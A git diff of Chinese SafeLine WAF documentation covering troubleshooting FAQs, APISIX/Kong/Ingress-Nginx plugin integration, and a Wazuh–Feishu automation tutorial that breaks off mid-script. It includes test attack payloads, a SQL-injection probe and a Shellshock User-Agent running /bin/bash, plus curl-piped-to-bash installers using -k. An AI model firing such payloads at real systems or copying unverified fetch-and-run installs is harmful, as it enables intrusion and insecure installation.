||||
## 关于升级后兼容问题
|
||||
|
||||
版本差距过大会可能会发生升级后数据不兼容导致服务器无法起来
|
||||
|
||||
跨多个版本(超过1个大版本号)升级做好数据备份,遇到升级失败可尝试重新安装解决
|
||||
|
||||
## 默认账号密码
|
||||
|
||||
雷池社区版5.0.0以后的版本都有一个默认的账户密码
|
||||
|
||||
@@ -143,7 +143,7 @@ docker run -d --restart=always --name safeline-fluentd --net safeline-ce -v ./sq
|
||||
|
||||
## 自定义站点 nginx conf
|
||||
|
||||
雷池每次修改站点或者重启服务时,都会在waf的安装目录下的**resources/nginx/sites-enabled/**重新生成 nginx conf 文件。因为没法“智能”合并用户自定义的配置和自动生成的配置。但是也还是有方式能持久化地添加一些 nginx conf,不会被覆盖。
|
||||
雷池每次修改站点或者重启服务时,都会在waf的安装目录下的 **resources/nginx/sites-enabled/** 重新生成 nginx conf 文件。因为没法“智能”合并用户自定义的配置和自动生成的配置。但是也还是有方式能持久化地添加一些 nginx conf,不会被覆盖。
|
||||
|
||||
每个 `IF_backend_XXX` 的 location 中都有 `include proxy_params;` 这一行配置,且 `resources/nginx/proxy_params` 这个文件不会被修改站点、重启服务等动作覆盖。2.1.0 版本之后支持 `include custom_params/backend_XXX;` 可以自定义站点级的 nginx location 配置。
|
||||
|
||||
@@ -191,12 +191,81 @@ docker exec safeline-tengine nginx -s reload
|
||||
|
||||

|
||||
|
||||
## 查看容器日志根据错误日志进行排查(通用)
|
||||
|
||||
1. 查看容器状态
|
||||
|
||||
```shell
|
||||
docker ps
|
||||
```
|
||||
|
||||
2. 查看tengine日志
|
||||
|
||||
```shell
|
||||
docker logs -f safeline-tengine
|
||||
```
|
||||
|
||||
3. 查看mgt日志
|
||||
|
||||
```shell
|
||||
docker logs -f safeline-mgt
|
||||
```
|
||||
|
||||
|
||||
根据错误日志的信息进行排查
|
||||
|
||||
## 紧急恢复 tengine
|
||||
问题表现:重启或升级后编辑任何站点配置都报错,后台 tengine 一直在重启。
|
||||
|
||||
一般原因是 tengine 配置在当前设备环境上不合法,导致 tengine 无法以原配置启动,例如重启过程中网站端口被其他进程所占用、网站 dns 配置异常导致解析不到 IP 等。
|
||||
|
||||
解决方案:可以通过查看 tengine 容器的日志,排查问题,也可以使用安装目录下的 `reset_tengine.sh` 脚本重置 tengine 容器配置。
|
||||
```shell
|
||||
# 执行时间根据网站数量和配置情况而定, 请耐心等待
|
||||
cd /data/safeline && bash reset_tengine.sh
|
||||
```
|
||||
执行成功后会有如下输出,此时可以尝试重新编辑站点配置,观察是否正常。
|
||||
```shell
|
||||
[SafeLine] 是否重新生成 tengine 的所有配置 (Y/n)
|
||||
|
||||
重新生成 tengine 配置完成
|
||||
```
|
||||
|
||||
## 是否支持 WebSocket ?
|
||||
|
||||
默认支持
|
||||
|
||||
## 内网需要加白哪些公网地址?
|
||||
| 地址 | 端口 | 说明 |
|
||||
|------------------------------|-------|--------------------|
|
||||
| waf-ce.chaitin.cn | 443 | 搜索引擎爬虫白名单、左下角的更新提示 |
|
||||
| challenge.rivers.chaitin.cn | 443 | 恶意 IP 情报 |
|
||||
| safeline-cloud.chaitin.com | 50052 | 专业版授权 |
|
||||
| acme-v02.api.letsencrypt.org | 443 | acme 证书申请 |
|
||||
| rivers.chaitin.cn | 443 | 百川推荐工具(浏览器使用) |
|
||||
|
||||
|
||||
## 是否可以给客户/朋友推荐或安装社区版?
|
||||
|
||||
欢迎推荐雷池社区版给客户、公司和朋友!
|
||||
|
||||
但是,请注意,我们不允许以下行为:
|
||||
|
||||
1. 对软件进行破解、逆向工程、二次包装、篡改版权信息等操作
|
||||
|
||||
2. 在未获得长亭授权的情况下,出售雷池社区版或提供商业化的技术服务
|
||||
|
||||
3. 其他任何侵犯雷池社区版知识产权的行为,[查看授权协议](https://github.com/chaitin/SafeLine/blob/main/LICENSE.md)
|
||||
|
||||
感谢您的理解和支持!
|
||||
|
||||
## 雷池社区版和企业版有什么区别
|
||||
|
||||
企业版功能完善、部署模式灵活,能满足合规等保的需要。另外,企业版提供完善、一对一的支持服务,包括方案咨询、售后支持、漏洞应急服务等。企业版还有完善的开发管理流程和事故响应机制,能够对稳定性做承诺。
|
||||
|
||||
企业体量较大的客户可以使用社区版/专业版,但社区版功能有限,可以在边缘的小网站、内部网站上试用一下。
|
||||
|
||||
如对企业版有预算,可以联系销售申请企业版试用,官网留电话即可。
|
||||
|
||||
## 问题无法解决
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
{
|
||||
"label": "常见问题排查",
|
||||
"collapsed": false,
|
||||
"collapsed": true,
|
||||
"link": {
|
||||
"type": "generated-index"
|
||||
}
|
||||
|
||||
@@ -16,38 +16,13 @@ apisix:https://github.com/apache/apisix
|
||||
|
||||
## 使用方式
|
||||
|
||||
### 安装 APISIX
|
||||
### 版本要求
|
||||
* APISIX >= 3.5.0
|
||||
* Safeline >= 5.6.0
|
||||
|
||||
> 注意,要使用 APISIX 3.5.0 及以上版本
|
||||
### 准备工作
|
||||
|
||||
本文使用 apisix 的 docker 版本来做演示,克隆 apisix-docker 仓库,运行以下命令来安装:
|
||||
|
||||
```
|
||||
git clone <https://github.com/apache/apisix-docker>
|
||||
cd apisix-docker/compose
|
||||
echo 'APISIX_DOCKER_TAG=3.5.0-debian' >> .env
|
||||
docker compose -f docker-compose-release.yaml up -d
|
||||
```
|
||||
|
||||
业务地址:http://127.0.0.1:9080/
|
||||
|
||||
管理地址:http://127.0.0.1:9180/
|
||||
|
||||
### 安装雷池
|
||||
|
||||
使用雷池官方提供的一句话安装命令即可:
|
||||
|
||||
```
|
||||
bash -c "$(curl -fsSLk <https://waf-ce.chaitin.cn/release/latest/setup.sh>)"
|
||||
```
|
||||
|
||||
不出意外的话,一路回车就能安装成功。
|
||||
|
||||
安装目录:/data/safeline/
|
||||
|
||||
### 修改雷池检测引擎的工作模式
|
||||
|
||||
社区版雷池的检测引擎默认以 unix socket 的方式提供服务,我们需要把他修改为 tcp 方式,供 APISIX 调用。
|
||||
社区版雷池的检测引擎默认以 unix socket 的方式提供服务,我们需要把他修改为 tcp 方式,供 t1k 插件调用。
|
||||
|
||||
进入雷池检测引擎的配置目录:
|
||||
|
||||
@@ -62,19 +37,18 @@ bind_addr: 0.0.0.0
|
||||
listen_port: 8000
|
||||
```
|
||||
|
||||
detector配置的属性值将覆盖容器内默认配置文件的同名属性值。这样我们就把雷池引擎的服务监听到了 8000 端口,现在只需要把容器内的 8000 端口映射到宿主机即可。
|
||||
detector配置的属性值将覆盖容器内默认配置文件的同名属性值。这样我们就把雷池引擎的服务监听到了 8000 端口。
|
||||
|
||||
进入雷池的安装目录
|
||||
|
||||
> cd /data/safeline/
|
||||
> 用文本编辑器打开目录里的 compose.yaml 文件,为 detector 容器增加 ports 字段,暴露其 8000
|
||||
|
||||
端口,参考如下:
|
||||
现在只需要把容器内的 8000 端口映射到宿主机即可,首先进入雷池的安装目录
|
||||
```
|
||||
cd /data/safeline/
|
||||
```
|
||||
然后用文本编辑器打开目录里的 compose.yaml 文件,为 detector 容器增加 ports 字段,暴露其 8000 端口,参考如下:
|
||||
|
||||
```
|
||||
......
|
||||
|
||||
detector:
|
||||
detect:
|
||||
......
|
||||
ports:
|
||||
- 8000:8000
|
||||
@@ -95,6 +69,23 @@ docker compose up -d
|
||||
|
||||
在雷池的安装目录下,有一个名为 .env 的隐藏文件,其中的 MGT_PORT 字段,修改这里后使用上面的方法再重启雷池即可生效。
|
||||
|
||||
### 安装 APISIX
|
||||
|
||||
> 注意,要使用 APISIX 3.5.0 及以上版本
|
||||
|
||||
本文使用 apisix 的 docker 版本来做演示,克隆 apisix-docker 仓库,运行以下命令来安装:
|
||||
|
||||
```
|
||||
git clone <https://github.com/apache/apisix-docker>
|
||||
cd apisix-docker/compose
|
||||
echo 'APISIX_DOCKER_TAG=3.5.0-debian' >> .env
|
||||
docker compose -f docker-compose-release.yaml up -d
|
||||
```
|
||||
|
||||
业务地址:http://127.0.0.1:9080/
|
||||
|
||||
管理地址:http://127.0.0.1:9180/
|
||||
|
||||
### 在 apisix 里绑定雷池
|
||||
|
||||
调用 apisix 的 api,设置雷池检测引擎的地址,供 apisix 调用,参考以下请求:
|
||||
@@ -159,3 +150,45 @@ curl '<http://127.0.0.1:9080/>' -d 'a=1 and 1=1'
|
||||
```
|
||||
|
||||
打开雷池的控制台界面,可以看到雷池记录了完整的攻击信息
|
||||
|
||||
### 让 WAF 本身的站点拦截同时工作
|
||||
|
||||
由于更改了 detector 的监听方式,通过雷池控制台界面配置的站点将无法正常拦截恶意请求,需要在 nginx 配置中将检测引擎地址改为 http 方式。
|
||||
|
||||
首先拷贝一份 nginx 配置文件
|
||||
|
||||
```shell
|
||||
cp /data/safeline/resources/nginx/safeline_unix.conf /data/safeline/resources/nginx/safeline_http.conf
|
||||
```
|
||||
|
||||
编辑 nginx.conf 文件,将里面的 `include /etc/nginx/safeline_unix.conf;` 注释掉,添加下面的一行
|
||||
|
||||
```shell
|
||||
# nginx.conf
|
||||
include /etc/nginx/conf.d/*.conf;
|
||||
include /etc/nginx/sites-enabled/generated;
|
||||
# include /etc/nginx/safeline_unix.conf;
|
||||
include /etc/nginx/safeline_http.conf;
|
||||
```
|
||||
|
||||
通过 docker inspect 获取 detector 的 ip
|
||||
|
||||
```shell
|
||||
docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' safeline-detector
|
||||
```
|
||||
|
||||
编辑 safeline_http.conf 文件做出如下修改
|
||||
```yaml
|
||||
# safeline_http.conf
|
||||
upstream detector_server {
|
||||
keepalive 256;
|
||||
#server unix:/resources/detector/snserver.sock;
|
||||
server detector_ip:8000; # 这里填写上面获取到的 detector 的 ip
|
||||
}
|
||||
```
|
||||
|
||||
### 问题答疑
|
||||
|
||||
如果在使用过程中遇到问题,可以在加入 SDK 讨论群
|
||||
|
||||

|
||||
66
documents/docs/04-practice/04-kong.md
Normal file
@@ -0,0 +1,66 @@
|
||||
---
|
||||
title: "Kong 集成雷池"
|
||||
---
|
||||
|
||||
# Kong 集成雷池
|
||||
|
||||
[Kong](https://github.com/Kong/kong) 是一个云原生、快速、可扩展和分布式的微服务抽象层(也称为 API 网关或 API 中间件)。它通过插件提供了丰富的流量控制、安全、监控和运维功能。
|
||||
|
||||
# 使用方式
|
||||
|
||||
### 版本要求
|
||||
* Kong >= 2.6.x
|
||||
* Safeline >= 5.6.0
|
||||
|
||||
### 准备工作
|
||||
|
||||
参考 [APISIX 联动雷池](/docs/practice/apisix#准备工作) 的准备工作。
|
||||
|
||||
### 安装 Kong 插件
|
||||
|
||||
自定义插件可以通过 LuaRocks 安装。Lua 插件以 .rock 格式分发,这是一个自包含的包,可以从本地或远程服务器安装。
|
||||
|
||||
如果您使用了官方的 Kong Gateway 安装包,则 LuaRocks 实用程序应该已经安装在您的系统中。
|
||||
|
||||
1. 安装 safeline 插件
|
||||
```shell
|
||||
luarocks install kong-safeline
|
||||
```
|
||||
2. 启用 safeline 插件,在 kong.conf 配置文件中添加以下配置:
|
||||
```shell
|
||||
plugins = bundled,safeline # Comma-separated list of plugins this node
|
||||
# should load. By default, only plugins
|
||||
# bundled in official distributions are
|
||||
# loaded via the `bundled` keyword.
|
||||
|
||||
```
|
||||
3. 重启 Kong Gateway
|
||||
```shell
|
||||
kong restart
|
||||
```
|
||||
|
||||
### 使用 Kong 插件
|
||||
在某个 service 上启用 safeline 插件:
|
||||
> config 中的 detector_host 和 safeline_port 是雷池检测引擎的地址和端口,是在准备工作中配置的。
|
||||
```shell
|
||||
curl -X POST http://localhost:8001/services/{service}/plugins \
|
||||
--data "name=safeline" \
|
||||
--data "config.safeline_host=<detector_host>" \
|
||||
--data "config.safeline_port=<detector_port>"
|
||||
```
|
||||
|
||||
### 测试防护效果
|
||||
模拟简单的 SQL 注入攻击访问 kong ,如果返回 403 Forbidden,说明防护生效。
|
||||
```shell
|
||||
$ curl -X POST http://localhost:8000?1=1%20and%202=2
|
||||
|
||||
# you will receive a 403 Forbidden response
|
||||
{"code": 403, "success":false, "message": "blocked by Chaitin SafeLine Web Application Firewall", "event_id": "8b41a021ea9541c89bb88f3773b4da24"}
|
||||
```
|
||||
打开雷池的控制台界面,可以看到雷池记录了完整的攻击信息。
|
||||
|
||||
### 问题答疑
|
||||
|
||||
如果在使用过程中遇到问题,可以在加入 SDK 讨论群
|
||||
|
||||

|
||||
180
documents/docs/04-practice/05-ingress-nginx.md
Normal file
@@ -0,0 +1,180 @@
|
||||
---
|
||||
title: "Ingres-Nginx 集成雷池"
|
||||
---
|
||||
|
||||
# 使用方式
|
||||
|
||||
### 版本要求
|
||||
* Safeline >= 5.6.0
|
||||
|
||||
### 准备工作
|
||||
参考 [APISIX 联动雷池](/docs/practice/apisix#准备工作) 的准备工作。
|
||||
|
||||
### 准备 Safeline 配置
|
||||
|
||||
使用 ConfigMap 配置 Safeline 插件需要的检测引擎 host 和 port,内容如下:
|
||||
|
||||
```yaml
|
||||
# safeline.yaml
|
||||
apiVersion: v1
|
||||
kind: ConfigMap
|
||||
metadata:
|
||||
name: safeline
|
||||
namespace: ingress-nginx
|
||||
data:
|
||||
host: "detector_host" # 雷池检测引擎的地址, 参考准备工作
|
||||
port: "8000"
|
||||
```
|
||||
|
||||
使用 ingress-nginx 创建 ConfigMap:
|
||||
|
||||
```shell
|
||||
kubectl create namespace ingress-nginx
|
||||
kubectl apply -f safeline.yaml
|
||||
```
|
||||
|
||||
### 全新安装集成方式
|
||||
|
||||
使用 helm 安装 Ingress-Nginx,参考 [Ingress-Nginx 官方文档](https://kubernetes.github.io/ingress-nginx/deploy/#using-helm)
|
||||
|
||||
使用下面的 values.yaml 进行镜像替换和插件配置:
|
||||
|
||||
```yaml
|
||||
# values.yaml
|
||||
controller:
|
||||
kind: DaemonSet
|
||||
image:
|
||||
registry: docker.io
|
||||
image: chaitin/ingress-nginx-controller
|
||||
tag: v1.10.1
|
||||
digest: ""
|
||||
extraEnvs:
|
||||
- name: SAFELINE_HOST
|
||||
valueFrom:
|
||||
configMapKeyRef:
|
||||
name: safeline
|
||||
key: host
|
||||
- name: SAFELINE_PORT
|
||||
valueFrom:
|
||||
configMapKeyRef:
|
||||
name: safeline
|
||||
key: port
|
||||
service:
|
||||
externalTrafficPolicy: Local # 便于获取真实客户端 IP
|
||||
config:
|
||||
plugins: safeline
|
||||
admissionWebhooks:
|
||||
patch:
|
||||
image:
|
||||
registry: docker.io
|
||||
image: chaitin/ingress-nginx-kube-webhook-certgen
|
||||
tag: v1.4.1
|
||||
digest: ""
|
||||
```
|
||||
执行安装命令
|
||||
```shell
|
||||
helm upgrade --install ingress-nginx ingress-nginx \
|
||||
--repo https://kubernetes.github.io/ingress-nginx \
|
||||
--namespace ingress-nginx --create-namespace \
|
||||
-f values.yaml
|
||||
```
|
||||
如果你想自行构建 Ingress-Nginx 镜像,可以参考下面的 Dockerfile:
|
||||
|
||||
```Dockerfile
|
||||
FROM registry.k8s.io/ingress-nginx/controller:v1.10.1
|
||||
|
||||
USER root
|
||||
|
||||
RUN apk add --no-cache make gcc unzip wget
|
||||
|
||||
# install luaroncks
|
||||
RUN wget https://luarocks.org/releases/luarocks-3.11.0.tar.gz && \
|
||||
tar zxpf luarocks-3.11.0.tar.gz && \
|
||||
cd luarocks-3.11.0 && \
|
||||
./configure && \
|
||||
make && \
|
||||
make install && \
|
||||
cd .. && \
|
||||
rm -rf luarocks-3.11.0 luarocks-3.11.0.tar.gz
|
||||
|
||||
RUN luarocks install ingress-nginx-safeline && \
|
||||
ln -s /usr/local/share/lua/5.1/safeline /etc/nginx/lua/plugins/safeline
|
||||
|
||||
USER www-data
|
||||
```
|
||||
|
||||
### 已有 Ingress-Nginx 集成方式
|
||||
|
||||
#### Step 1. 安装 Safeline 插件
|
||||
|
||||
参考上面的 Dockerfile 使用 luarocks 安装 Safeline 插件到 nginx 的默认插件目录。
|
||||
|
||||
#### Step 2. 配置 Safeline 插件
|
||||
|
||||
使用上面的 safeline.yaml 创建 ConfigMap:
|
||||
|
||||
```shell
|
||||
kubectl apply -f safeline.yaml
|
||||
```
|
||||
在 Ingress-Nginx 的插件配置中启用 Safeline :
|
||||
|
||||
```yaml
|
||||
# ingress-nginx-controller-configmap.yaml
|
||||
apiVersion: v1
|
||||
kind: ConfigMap
|
||||
metadata:
|
||||
name: ingress-nginx-controller
|
||||
namespace: ingress-nginx
|
||||
data:
|
||||
plugins: "safeline"
|
||||
```
|
||||
|
||||
#### Step 3. 注入 Safeline 环境变量
|
||||
在 Ingress-Nginx 的 Deployment/DaemonSet 中添加环境变量便于插件读取:
|
||||
|
||||
```yaml
|
||||
# ingress-nginx-controller-deployment.yaml
|
||||
...
|
||||
env:
|
||||
- name: SAFELINE_HOST
|
||||
valueFrom:
|
||||
configMapKeyRef:
|
||||
name: safeline
|
||||
key: host
|
||||
- name: SAFELINE_PORT
|
||||
valueFrom:
|
||||
configMapKeyRef:
|
||||
name: safeline
|
||||
key: port
|
||||
```
|
||||
|
||||
#### Step 4. [可选] 获取真实客户端 IP
|
||||
|
||||
配置 nginx service 的 externalTrafficPolicy 为 Local,以便获取真实客户端 IP
|
||||
|
||||
### 测试 Safeline 插件
|
||||
|
||||
通过构造恶意请求测试 Safeline 插件是否生效,例如:
|
||||
|
||||
```shell
|
||||
curl http://localhost:80/ -H "Host: example.com" -H "User-Agent: () { :; }; echo; echo; /bin/bash -c 'echo hello'"
|
||||
```
|
||||
|
||||
你会看到返回 403 Forbidden,说明 Safeline 插件生效了。
|
||||
|
||||
```json
|
||||
{
|
||||
"code": 403,
|
||||
"success": false,
|
||||
"message": "blocked by Chaitin SafeLine Web Application Firewall",
|
||||
"event_id": "18e0f220f7a94127acb21ad3c1b4ac47"
|
||||
}
|
||||
```
|
||||
|
||||
在雷池的控制台界面,可以看到雷池记录了完整的攻击信息。
|
||||
|
||||
### 问题答疑
|
||||
|
||||
如果在使用过程中遇到问题,可以在加入 SDK 讨论群
|
||||
|
||||

|
||||
@@ -1,6 +1,6 @@
|
||||
{
|
||||
"label": "最佳实践",
|
||||
"collapsed": false,
|
||||
"collapsed": true,
|
||||
"link": {
|
||||
"type": "generated-index"
|
||||
}
|
||||
|
||||
1113
documents/docs/05-submission/01-K3s.md
Normal file
600
documents/docs/05-submission/02-operate.md
Normal file
@@ -0,0 +1,600 @@
|
||||
---
|
||||
title: "自动化安全运营实操案例: Wazuh X 雷池WAF X 飞书"
|
||||
---
|
||||
|
||||
# 自动化安全运营实操案例: Wazuh X 雷池WAF X 飞书
|
||||
|
||||
作者:曼联小胖子(社区42群)
|
||||
|
||||
## 背景
|
||||
|
||||
作为中小型企业的安全工程师,往往面临资源有限(没SOC/SOAR)、人手不足的情况,很可能1个人要负责运营公司所有安全产品(例如我)。
|
||||
为了提升安全运营的工作效率,我们需要解决以下问题:
|
||||
|
||||
1. 避免频繁切换安全系统看日志
|
||||
2. 避免人工封禁IP的傻瓜式操作
|
||||
3. 将攻击详情以及处置告警及时通知到相关人员,并且方便随时讨论
|
||||
|
||||
本文主要介绍“Wazuh X 雷池WAF X 飞书”联动的场景,另外,实际工作中还能产生”Wazuh X 网络/安全设备 X 飞书"、”Wazuh X 服务器 X 飞书"、“Wazuh X 蜜罐 X飞书“的应用,以后有时间再逐个开坑做案例分享。
|
||||
|
||||
## 软件介绍
|
||||
|
||||
### Wazuh
|
||||
|
||||
一款国外的SIEM平台,可以理解为安全版的ELK,具有日志统计分析、可视化、主机监控等功能。目前github有9.2k star,目前分为Saas版和开源版。
|
||||
Wazuh分为Server端以及Agent,Agent可以对服务器进行日志监控、漏洞检测、安全合规基线扫描、进程收集,集成Virus Total接口后可具备磁盘恶意文件检测能力。
|
||||
|
||||
本文中使用的是私有部署的开源版 **4.7.3**,主要提供日志监控、下发指令自动处置的能力。
|
||||
|
||||
### 雷池社区版
|
||||
|
||||
雷池(SafeLine)是长亭科技耗时近 10 年倾情打造的WAF,核心检测能力由智能语义分析算法驱动,目前分为社区版、专业版和企业版。
|
||||
|
||||
本文使用的是私有部署的社区版 **5.4.0**,主要提供Web安全检测防护能力、产生安全日志。
|
||||
|
||||
### 飞书
|
||||
|
||||
一款字节跳动旗下的工作协同平台和IM软件,读者公司若使用钉钉、企业微信也可以达到一样效果。
|
||||
|
||||
本文使用的是商业版 **7.15.9** ,主要用于接收告警通知和工作沟通,相比传统邮件的沟通方式更高效。
|
||||
|
||||
## 工作流程图
|
||||
|
||||

|
||||
|
||||
效果图
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
### 前置工作
|
||||
|
||||
#### 服务器2台
|
||||
|
||||
Wazuh Server服务器:操作系统本文以CentOS 7.6为例,该服务器需要部署Wazuh Server以及处置python脚本,CPU、内存、硬盘要求可参考官方文档和下图:
|
||||
|
||||

|
||||
|
||||
雷池WAF服务器:32G内存,4核CPU,100G硬盘,操作系统本文以Rocky Linux 9.3为例,代替将要停服的CentOS7。该服务器需要部署雷池WAF以及Wazuh Agent。
|
||||
|
||||
#### 安装Wazuh Server
|
||||
|
||||
Wazuh Server的组件以及功能非常多,还支持集群部署。由于篇幅问题本文不展开进行阐述,旨在快速部署环境。
|
||||
运行官方一键安装脚本,建议挂魔法,避免安装过程失败。
|
||||
|
||||
```shell
|
||||
curl -sO https://packages.wazuh.com/4.7/wazuh-install.sh && sudo bash ./wazuh-install.sh -a
|
||||
```
|
||||
|
||||
安装完成后会输出web访问地址和admin密码,输入https://ip 后即可访问wazuh的web界面。
|
||||
|
||||
如果访问不了,请检查防火墙是否放开443端口。
|
||||
|
||||
```shell
|
||||
INFO: --- Summary ---
|
||||
INFO: You can access the web interface https://<wazuh-dashboard-ip>
|
||||
User: admin
|
||||
Password: <ADMIN_PASSWORD>
|
||||
INFO: Installation finished.
|
||||
```
|
||||
|
||||
如还有安装问题,见官方安装文档并自行根据提示和日志进行排查。
|
||||
|
||||
### 安装雷池WAF
|
||||
|
||||
1. 安装docker
|
||||
|
||||
```shell
|
||||
#删除旧版本docker
|
||||
sudo yum remove docker \
|
||||
docker-client \
|
||||
docker-client-latest \
|
||||
docker-common \
|
||||
docker-latest \
|
||||
docker-latest-logrotate \
|
||||
docker-logrotate \
|
||||
docker-engine
|
||||
#安装最新版本docker
|
||||
sudo yum install -y yum-utils
|
||||
sudo yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo
|
||||
sudo yum install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin
|
||||
sudo systemctl start docker
|
||||
sudo systemctl enable docker
|
||||
```
|
||||
|
||||
2. 安装雷池WAF
|
||||
|
||||
```shell
|
||||
CDN=1 bash -c "$(curl -fsSLk https://waf-ce.chaitin.cn/release/latest/setup.sh)"
|
||||
```
|
||||
|
||||
安装完成后,注意防火墙放开9443端口,初始账号为admin,密码在安装完waf后会随机生成:
|
||||
|
||||

|
||||
|
||||
如还有安装问题,见官方安装文档。
|
||||
|
||||
|
||||
### 安装Wazuh Agent
|
||||
|
||||
1. 本地用浏览器登录Wazuh Web管理界面:
|
||||
|
||||

|
||||
|
||||
2. 进入部署界面
|
||||
|
||||

|
||||
|
||||
3. 生成Wazuh Agent部署命令
|
||||
|
||||

|
||||
|
||||
4. 登录雷池WAF服务器,执行以下命令,安装Wazuh Agent。注意Wazuh Server的1514、1515端口要开放给雷池WAF服务器访问。
|
||||
|
||||
```shell
|
||||
curl -o wazuh-agent-4.7.4-1.x86_64.rpm https://packages.wazuh.com/4.x/yum/wazuh-agent-4.7.4-1.x86_64.rpm && sudo WAZUH_MANAGER='192.168.31.24' WAZUH_AGENT_NAME='waf' rpm -ihv wazuh-agent-4.7.4-1.x86_64.rpm
|
||||
sudo systemctl daemon-reload
|
||||
sudo systemctl enable wazuh-agent
|
||||
sudo systemctl start wazuh-agent
|
||||
```
|
||||
|
||||
### 安装飞书
|
||||
|
||||
官网直接下载飞书安装即可
|
||||
|
||||
## 配置过程
|
||||
|
||||
### 雷池WAF配置
|
||||
|
||||
1. 本地浏览器登录雷池WAF管理界面,根据自己公司的实际情况,添加要保护的域名,例如a.test.com
|
||||
|
||||

|
||||
|
||||
2. 添加一个自定义IP组,后面做黑名单用。
|
||||
|
||||

|
||||
|
||||
3. 添加一个黑名单,关联上一步创建的IP组。
|
||||
|
||||

|
||||
|
||||
4. 根据实际情况,配置雷池WAF的安全功能
|
||||
|
||||

|
||||
|
||||
### 雷池WAF服务器配置
|
||||
|
||||
1. 登录雷池WAF服务器,映射雷池pgsql数据库本地登录端口5432到宿主机,后续shell脚本需要登录数据库:
|
||||
|
||||
```shell
|
||||
docker stop safeline-pg
|
||||
systemctl stop docker
|
||||
vim /var/lib/docker/containers/$(docker ps --no-trunc | grep safeline-pg | awk '{print $1}')/hostconfig.json ,#找到PortBindings,修改为以下配置"PortBindings":{"5432/tcp":[{"HostIp":"127.0.0.1","HostPort":"5432"}]},
|
||||
systemctl start docker
|
||||
netstat -tnlp | grep 5432 #查看pgsql数据库的端口是否成功映射到宿主机
|
||||
```
|
||||
|
||||
2. 获取pgsql数据库的密码:
|
||||
|
||||
```shell
|
||||
cat /data/safeline/.env | grep POSTGRES_PASSWORD | tail -n 1 | awk -F '=' '{print $2}'
|
||||
```
|
||||
|
||||
3. 创建.pgpass,后续传递密码给shell脚本使用:
|
||||
```shell
|
||||
vim /var/scripts/.pgpass,添加以下参数
|
||||
localhost:5432:safeline-ce:safeline-ce:abcd #把abcd替换成第2步中获取到的密码
|
||||
```
|
||||
|
||||
4. 创建shell脚本,主要功能是生成syslog日志给wazuh监控使用:
|
||||
|
||||
```shell
|
||||
mkdir /var/log/waf_alert
|
||||
touch /var/log/waf_alert/waf_alert.log
|
||||
touch /var/scripts/waf_log.sh
|
||||
chmod u+x /var/scripts/waf_log.sh
|
||||
vim /var/scripts/waf_log.sh,添加以下代码
|
||||
#!/bin/bash
|
||||
|
||||
# 设置PGPASSFILE环境变量
|
||||
export PGPASSFILE=/var/scripts/.pgpass
|
||||
|
||||
# PostgreSQL 的连接信息
|
||||
PG_HOST="localhost"
|
||||
PORT="5432"
|
||||
DATABASE="safeline-ce"
|
||||
USERNAME="safeline-ce"
|
||||
HOSTNAME=$(hostname)
|
||||
PROGRAM_NAME="safeline-ce"
|
||||
|
||||
#获取最后一条WAF攻击事件日志的ID,日志数据存储在MGT_DETECT_LOG_BASIC表中
|
||||
LAST_ID=$(psql -h $PG_HOST -p $PORT -U $USERNAME -d $DATABASE -t -P footer=off -c "SELECT id FROM PUBLIC.MGT_DETECT_LOG_BASIC ORDER BY id desc limit 1")
|
||||
while true;do
|
||||
#从pgsql数据库中获取waf的最新攻击事件日志,如果没有产生新日志,这条SQL会返回空
|
||||
raw_log=$(psql -h $PG_HOST -p $PORT -U $USERNAME -d $DATABASE -t -P footer=off -c "SELECT TO_CHAR(to_timestamp(timestamp) AT TIME ZONE 'Asia/Hong_Kong', 'Mon DD HH24:MI:SS'), CONCAT(PROVINCE, CITY) AS SRC_CITY, SRC_IP, CONCAT(HOST, ':', DST_PORT) AS HOST,url_path,rule_id,id FROM PUBLIC.MGT_DETECT_LOG_BASIC where id > '$LAST_ID' ORDER BY id asc limit 1")
|
||||
#检查SQL查询结果,如果有新加的日志就执行以下操作,把SQL查询结果重写为syslog日志,并记录到/var/log/waf_alert/waf_alert.log
|
||||
if [ -n "$raw_log" ]; then
|
||||
ALERT_TIME=$(echo "$raw_log" | awk -F ' \\| ' '{print $1}')
|
||||
SRC_CITY=$(echo "$raw_log" | awk -F ' \\| ' '{print $2}')
|
||||
SRC_IP=$(echo "$raw_log" | awk -F ' \\| ' '{print $3}')
|
||||
DST_HOST=$(echo "$raw_log" | awk -F ' \\| ' '{print $4}')
|
||||
URL=$(echo "$raw_log" | awk -F ' \\| ' '{print $5}')
|
||||
RULE_ID=$(echo "$raw_log" | awk -F ' \\| ' '{print $6}')
|
||||
EVENT_ID=$(echo "$raw_log" | awk -F ' \\| ' '{print $7}')
|
||||
syslog="src_city:$SRC_CITY, src_ip:$SRC_IP, dst_host:$DST_HOST, url:$URL, rule_id:$RULE_ID, log_id:$EVENT_ID"
|
||||
echo $ALERT_TIME $HOSTNAME $PROGRAM_NAME: $syslog >> /var/log/waf_alert/waf_alert.log
|
||||
#更新最后处理的事件ID
|
||||
LAST_ID=$(($LAST_ID+1))
|
||||
fi
|
||||
sleep 3
|
||||
done
|
||||
```
|
||||
|
||||
5. 后台运行监控脚本,并且添加开机启动:
|
||||
|
||||
```shell
|
||||
nohup /var/scripts/waf_log.sh > /dev/null 2>&1 &
|
||||
vim /etc/rc.local,添加以下代码
|
||||
nohup /var/scripts/waf_log.sh > /dev/null 2>&1 &
|
||||
```
|
||||
|
||||
### 飞书配置
|
||||
|
||||
1. 添加一个安全告警通知群和群机器人,后面需要通过这个机器人发告警卡片到群里。
|
||||
|
||||

|
||||
|
||||
2. 选择自定义机器人。
|
||||
|
||||

|
||||
|
||||
3. 保存webhook地址,后面配置wazuh脚本要用。
|
||||
|
||||

|
||||
|
||||
### Wazuh Server配置
|
||||
|
||||
1. 添加触发告警时调用的脚本,一共有2个文件,这是custom-waf文件,不用做任何修改
|
||||
|
||||
```shell
|
||||
touch /var/ossec/integrations/custom-waf
|
||||
chmod 750 /var/ossec/integrations/custom-waf
|
||||
chown root:wazuh /var/ossec/integrations/custom-waf
|
||||
vim /var/ossec/integrations/custom-waf ,添加以下代码:
|
||||
|
||||
#!/bin/sh
|
||||
# Copyright (C) 2015, Wazuh Inc.
|
||||
# Created by Wazuh, Inc. <info@wazuh.com>.
|
||||
# This program is free software; you can redistribute it and/or modify it under the terms of GPLv2
|
||||
|
||||
WPYTHON_BIN="framework/python/bin/python3"
|
||||
|
||||
